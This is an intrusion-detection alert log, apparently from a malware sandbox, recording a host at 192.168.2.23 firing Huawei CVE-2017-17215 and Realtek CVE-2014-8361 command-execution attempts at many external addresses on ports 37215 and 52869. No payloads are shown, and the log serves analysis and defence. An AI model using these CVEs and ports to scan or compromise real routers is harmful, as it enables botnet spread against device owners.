07/20/24-23:01:02.146232	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45252	37215	192.168.2.23	41.155.25.219
07/20/24-23:01:44.340422	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56000	52869	192.168.2.23	102.51.73.237
07/20/24-23:01:42.111275	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48622	52869	192.168.2.23	159.247.88.93
07/20/24-23:01:51.400635	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35110	52869	192.168.2.23	43.224.149.155
07/20/24-23:01:42.115778	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46138	52869	192.168.2.23	216.159.149.17
07/20/24-23:01:02.127340	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40570	37215	192.168.2.23	197.165.85.196
07/20/24-23:01:27.664887	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32876	37215	192.168.2.23	197.123.66.12
07/20/24-23:02:00.668349	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53924	52869	192.168.2.23	83.28.127.148
07/20/24-23:01:02.127340	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54968	37215	192.168.2.23	58.225.246.95
07/20/24-23:01:08.606848	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47194	52869	192.168.2.23	60.99.150.220
07/20/24-23:01:51.919746	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53294	52869	192.168.2.23	128.17.186.62
07/20/24-23:01:01.387027	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56974	52869	192.168.2.23	153.15.211.214
07/20/24-23:01:42.891313	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51320	52869	192.168.2.23	163.173.48.45
07/20/24-23:01:34.053062	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53248	37215	192.168.2.23	41.4.72.224
07/20/24-23:01:42.774505	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53844	52869	192.168.2.23	77.77.166.196
07/20/24-23:01:25.940871	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60192	52869	192.168.2.23	97.255.56.23
07/20/24-23:01:55.125263	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55758	52869	192.168.2.23	27.236.237.70
07/20/24-23:02:20.374641	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38620	52869	192.168.2.23	138.173.140.141
07/20/24-23:01:00.634292	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51646	37215	192.168.2.23	197.50.46.65
07/20/24-23:01:43.455918	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36932	52869	192.168.2.23	40.122.120.5
07/20/24-23:01:44.520226	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51562	52869	192.168.2.23	114.151.113.249
07/20/24-23:01:20.110860	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40532	37215	192.168.2.23	157.87.180.92
07/20/24-23:01:27.651332	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57714	37215	192.168.2.23	197.53.165.17
07/20/24-23:01:43.810783	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46080	52869	192.168.2.23	180.71.140.26
07/20/24-23:00:59.191389	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50398	37215	192.168.2.23	157.174.150.26
07/20/24-23:01:08.667513	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37132	52869	192.168.2.23	134.167.171.74
07/20/24-23:01:43.107634	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45970	52869	192.168.2.23	60.118.116.115
07/20/24-23:01:43.697010	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45262	52869	192.168.2.23	111.193.202.8
07/20/24-23:01:56.999569	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35682	52869	192.168.2.23	62.146.159.96
07/20/24-23:01:56.510714	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59026	52869	192.168.2.23	112.218.81.136
07/20/24-23:01:40.331150	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49640	37215	192.168.2.23	41.212.160.245
07/20/24-23:02:04.133789	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44138	52869	192.168.2.23	190.159.104.180
07/20/24-23:01:40.320408	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35718	37215	192.168.2.23	197.154.95.35
07/20/24-23:01:02.479085	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33450	52869	192.168.2.23	104.55.221.40
07/20/24-23:01:25.549014	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60312	52869	192.168.2.23	155.220.6.134
07/20/24-23:01:07.036064	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47242	37215	192.168.2.23	41.85.228.41
07/20/24-23:01:41.648203	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44442	52869	192.168.2.23	223.203.126.251
07/20/24-23:01:46.109943	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55062	52869	192.168.2.23	91.202.203.164
07/20/24-23:01:13.976791	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57122	52869	192.168.2.23	136.56.196.147
07/20/24-23:02:02.751507	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53576	52869	192.168.2.23	167.60.51.106
07/20/24-23:01:42.729311	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49758	52869	192.168.2.23	130.96.13.171
07/20/24-23:01:45.458332	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51990	52869	192.168.2.23	58.56.54.197
07/20/24-23:01:24.889164	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58690	37215	192.168.2.23	157.128.212.188
07/20/24-23:01:41.947663	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33434	52869	192.168.2.23	218.234.180.136
07/20/24-23:01:43.328791	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49800	52869	192.168.2.23	41.199.13.54
07/20/24-23:01:44.859405	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55328	52869	192.168.2.23	75.163.230.218
07/20/24-23:01:55.384732	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39072	52869	192.168.2.23	60.14.147.228
07/20/24-23:01:47.562957	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37252	52869	192.168.2.23	47.13.214.247
07/20/24-23:01:53.354788	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40962	52869	192.168.2.23	89.150.205.193
07/20/24-23:01:59.377547	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52764	52869	192.168.2.23	67.74.143.214
07/20/24-23:01:04.178669	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44326	52869	192.168.2.23	109.115.27.6
07/20/24-23:01:25.187391	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50668	52869	192.168.2.23	123.249.201.235
07/20/24-23:01:44.439012	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48844	52869	192.168.2.23	108.225.154.233
07/20/24-23:01:04.118165	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33562	37215	192.168.2.23	157.254.221.242
07/20/24-23:01:24.944299	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37422	37215	192.168.2.23	157.61.104.107
07/20/24-23:01:52.161851	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50178	52869	192.168.2.23	194.242.148.126
07/20/24-23:01:53.059915	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47832	52869	192.168.2.23	19.90.99.238
07/20/24-23:01:57.762774	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58250	52869	192.168.2.23	60.220.21.170
07/20/24-23:01:04.114673	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35562	37215	192.168.2.23	41.54.147.121
07/20/24-23:01:02.690149	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55002	52869	192.168.2.23	144.0.5.154
07/20/24-23:01:50.863888	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52352	52869	192.168.2.23	131.254.60.151
07/20/24-23:01:04.039129	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52762	37215	192.168.2.23	173.164.252.237
07/20/24-23:01:49.743796	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46648	52869	192.168.2.23	177.220.208.210
07/20/24-23:01:20.591702	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35926	52869	192.168.2.23	191.208.79.121
07/20/24-23:01:42.702732	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49674	52869	192.168.2.23	80.70.75.159
07/20/24-23:01:48.386032	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54594	52869	192.168.2.23	27.248.134.22
07/20/24-23:01:53.357099	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53504	52869	192.168.2.23	48.97.254.151
07/20/24-23:01:47.931222	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56994	52869	192.168.2.23	114.55.77.0
07/20/24-23:01:01.285840	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52268	52869	192.168.2.23	207.223.182.162
07/20/24-23:01:14.146543	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45488	52869	192.168.2.23	178.124.248.177
07/20/24-23:01:24.867858	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52758	37215	192.168.2.23	112.90.251.196
07/20/24-23:01:45.331813	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45648	52869	192.168.2.23	60.240.72.8
07/20/24-23:01:41.305474	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50966	52869	192.168.2.23	39.181.131.100
07/20/24-23:01:08.598416	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57734	52869	192.168.2.23	183.49.28.217
07/20/24-23:01:04.050503	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38012	37215	192.168.2.23	197.88.18.128
07/20/24-23:01:08.652877	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47380	52869	192.168.2.23	120.98.109.98
07/20/24-23:01:11.820979	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49194	37215	192.168.2.23	108.25.203.240
07/20/24-23:01:53.524729	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47114	52869	192.168.2.23	81.22.157.142
07/20/24-23:01:34.045143	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51032	37215	192.168.2.23	157.12.69.99
07/20/24-23:01:32.076593	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45364	37215	192.168.2.23	197.76.87.111
07/20/24-23:01:02.048113	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38422	37215	192.168.2.23	41.227.71.109
07/20/24-23:01:00.633744	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57288	37215	192.168.2.23	41.191.248.36
07/20/24-23:01:46.241196	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39282	52869	192.168.2.23	220.111.117.206
07/20/24-23:01:12.807274	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37612	52869	192.168.2.23	82.106.122.253
07/20/24-23:01:57.388537	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44252	52869	192.168.2.23	67.104.194.85
07/20/24-23:01:44.944699	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53900	52869	192.168.2.23	110.40.238.120
07/20/24-23:01:25.715288	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55744	52869	192.168.2.23	97.193.3.141
07/20/24-23:01:45.034156	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58954	52869	192.168.2.23	132.191.84.86
07/20/24-23:01:41.318733	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41494	52869	192.168.2.23	8.157.181.46
07/20/24-23:01:57.169212	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56148	52869	192.168.2.23	17.24.227.79
07/20/24-23:01:14.090830	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59924	37215	192.168.2.23	197.128.170.53
07/20/24-23:01:44.788688	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51846	52869	192.168.2.23	19.242.116.26
07/20/24-23:01:46.032975	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35288	52869	192.168.2.23	166.191.111.147
07/20/24-23:01:40.334452	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59674	37215	192.168.2.23	197.22.225.39
07/20/24-23:01:31.331820	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39354	52869	192.168.2.23	9.241.118.240
07/20/24-23:01:41.370228	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45868	52869	192.168.2.23	111.186.32.47
07/20/24-23:01:42.175191	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34602	52869	192.168.2.23	92.1.18.107
07/20/24-23:01:24.739204	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47310	52869	192.168.2.23	109.17.111.246
07/20/24-23:01:49.703914	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41410	52869	192.168.2.23	126.214.32.228
07/20/24-23:01:49.075905	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54498	52869	192.168.2.23	125.106.198.203
07/20/24-23:01:44.124551	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56988	52869	192.168.2.23	112.138.84.14
07/20/24-23:00:57.222029	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58950	37215	192.168.2.23	197.71.207.159
07/20/24-23:01:08.578727	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35996	52869	192.168.2.23	54.235.197.43
07/20/24-23:01:10.691725	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52688	52869	192.168.2.23	166.63.2.220
07/20/24-23:01:21.139934	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59082	52869	192.168.2.23	85.106.41.174
07/20/24-23:01:47.410892	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54372	52869	192.168.2.23	13.59.59.107
07/20/24-23:01:46.450130	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58138	52869	192.168.2.23	187.157.152.232
07/20/24-23:02:11.743968	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52868	52869	192.168.2.23	184.146.237.12
07/20/24-23:02:04.592319	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37212	52869	192.168.2.23	185.12.96.106
07/20/24-23:01:01.292992	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33712	52869	192.168.2.23	184.60.97.199
07/20/24-23:00:59.157444	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52842	37215	192.168.2.23	41.132.51.195
07/20/24-23:01:40.290003	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55552	37215	192.168.2.23	197.221.226.157
07/20/24-23:01:24.862410	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55724	37215	192.168.2.23	34.93.53.66
07/20/24-23:01:46.844704	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37406	52869	192.168.2.23	161.217.163.253
07/20/24-23:01:59.154601	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37598	52869	192.168.2.23	177.72.81.243
07/20/24-23:01:24.862410	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44920	37215	192.168.2.23	157.206.47.33
07/20/24-23:01:04.802341	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35090	52869	192.168.2.23	99.2.133.89
07/20/24-23:01:48.888934	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47644	52869	192.168.2.23	130.131.47.204
07/20/24-23:01:45.485100	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53756	52869	192.168.2.23	62.42.246.19
07/20/24-23:00:59.154067	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47450	37215	192.168.2.23	143.28.80.1
07/20/24-23:01:20.161614	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55702	37215	192.168.2.23	157.73.42.54
07/20/24-23:01:53.697003	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34624	52869	192.168.2.23	192.45.244.106
07/20/24-23:01:40.286738	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54404	37215	192.168.2.23	41.211.68.86
07/20/24-23:01:53.503242	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43326	52869	192.168.2.23	77.15.73.106
07/20/24-23:01:31.974782	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38850	37215	192.168.2.23	197.86.232.67
07/20/24-23:01:47.443306	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46994	52869	192.168.2.23	196.221.214.48
07/20/24-23:01:55.694589	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48562	52869	192.168.2.23	150.16.14.245
07/20/24-23:01:56.880291	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40646	52869	192.168.2.23	173.68.146.233
07/20/24-23:01:44.340422	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39600	52869	192.168.2.23	123.6.144.179
07/20/24-23:01:45.159648	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47212	52869	192.168.2.23	57.189.118.114
07/20/24-23:01:45.182071	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41506	52869	192.168.2.23	43.128.21.230
07/20/24-23:01:08.559170	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51992	52869	192.168.2.23	114.57.93.253
07/20/24-23:01:04.094795	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46804	37215	192.168.2.23	157.148.30.140
07/20/24-23:01:31.978141	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41478	37215	192.168.2.23	197.253.132.236
07/20/24-23:01:43.994464	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43924	52869	192.168.2.23	2.84.107.116
07/20/24-23:01:26.037548	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52344	52869	192.168.2.23	45.38.7.5
07/20/24-23:01:20.110861	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48034	37215	192.168.2.23	157.180.152.242
07/20/24-23:01:59.745622	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55122	52869	192.168.2.23	154.17.239.28
07/20/24-23:01:20.113254	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55470	37215	192.168.2.23	77.62.120.208
07/20/24-23:01:47.243820	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38550	52869	192.168.2.23	87.132.55.249
07/20/24-23:01:41.722161	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51824	52869	192.168.2.23	14.249.111.18
07/20/24-23:01:03.942398	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34136	52869	192.168.2.23	65.114.239.111
07/20/24-23:01:48.765940	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42118	52869	192.168.2.23	174.126.153.78
07/20/24-23:02:08.084136	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46518	52869	192.168.2.23	161.96.78.14
07/20/24-23:01:11.630627	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50484	37215	192.168.2.23	157.230.27.28
07/20/24-23:01:34.050313	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56566	37215	192.168.2.23	197.108.65.14
07/20/24-23:01:42.749469	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45456	52869	192.168.2.23	184.103.85.217
07/20/24-23:01:34.044717	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34212	37215	192.168.2.23	197.171.121.26
07/20/24-23:01:02.486908	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37328	52869	192.168.2.23	25.108.103.192
07/20/24-23:01:48.932731	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54026	52869	192.168.2.23	97.241.192.98
07/20/24-23:01:57.949070	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57400	52869	192.168.2.23	79.25.231.52
07/20/24-23:01:55.384732	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51482	52869	192.168.2.23	178.69.5.63
07/20/24-23:01:00.634165	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58556	37215	192.168.2.23	197.75.123.93
07/20/24-23:01:45.063335	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40962	52869	192.168.2.23	208.111.2.186
07/20/24-23:01:42.142802	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46616	52869	192.168.2.23	209.170.78.160
07/20/24-23:01:49.563475	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52248	52869	192.168.2.23	74.211.16.76
07/20/24-23:01:42.522141	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57308	52869	192.168.2.23	54.188.109.169
07/20/24-23:01:20.596401	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45956	52869	192.168.2.23	178.124.248.177
07/20/24-23:01:46.025818	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44458	52869	192.168.2.23	84.203.232.104
07/20/24-23:01:58.067320	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52012	52869	192.168.2.23	161.244.156.106
07/20/24-23:01:13.826513	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51264	52869	192.168.2.23	9.70.14.160
07/20/24-23:00:59.213564	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44552	37215	192.168.2.23	41.216.133.169
07/20/24-23:01:54.345402	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39066	52869	192.168.2.23	221.77.89.150
07/20/24-23:01:20.132511	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51462	37215	192.168.2.23	197.55.179.247
07/20/24-23:01:46.054775	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50738	52869	192.168.2.23	192.178.20.121
07/20/24-23:02:15.054105	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56492	52869	192.168.2.23	153.55.136.220
07/20/24-23:01:08.611773	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54474	52869	192.168.2.23	91.233.41.28
07/20/24-23:01:01.404325	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54976	52869	192.168.2.23	151.5.114.8
07/20/24-23:01:44.416791	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47972	52869	192.168.2.23	167.144.253.27
